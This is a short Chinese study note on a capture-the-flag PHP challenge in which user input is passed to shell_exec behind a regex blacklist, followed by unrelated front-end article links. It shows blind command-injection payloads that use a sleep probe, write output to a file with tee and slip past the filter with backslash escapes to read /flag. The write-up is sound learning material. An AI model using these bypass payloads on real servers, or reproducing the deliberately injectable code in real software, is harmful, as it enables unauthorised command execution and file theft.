RCE-PLUS (学习记录)

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("i hate this");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

过滤了很多东西,但是空格什么的没过滤

发现是用shell_exec()无回显的命令执行,所以把文件写入txt看结果

判断指令
?cmd=ls / | sleep 5
把回显输入文本文件

两种方法

?cmd=ls / | tee 1.txt
?cmd=ls / > tee 1.txt

直接访问

绕过对cat和flag的过滤
?cmd=c\at /fl\ag | tee 2.txt
?cmd=c\at /fl\ag > tee 2.txt

总结

无回显RCE

WAF绕过

相关推荐
IT、木易几秒前
大白话 CSS 中transform属性的常见变换类型(平移、旋转、缩放等)及使用场景
前端·css·面试
1024小神20 分钟前
更改github action工作流的权限
前端·javascript
Epicurus25 分钟前
JavaScript无阻塞加载的方式
前端·javascript
1024小神27 分钟前
tauri程序使用github action发布linux中arm架构
前端·javascript
ahhdfjfdf29 分钟前
最全的`Map` 和 `WeakMap`的区别
前端
JYeontu34 分钟前
实现一个带@功能的输入框组件
前端·javascript·vue.js
一颗奇趣蛋1 小时前
vue-router的query和params的区别(附实际用法)
前端·vue.js
孤城2861 小时前
MAC电脑常用操作
前端·macos·快捷键·新手·电脑使用
木亦Sam1 小时前
Vue DevTools逆向工程:自己实现一个组件热更新调试器
前端
酷酷的阿云1 小时前
动画与过渡效果:UnoCSS内置动画库的实战应用
前端·css·typescript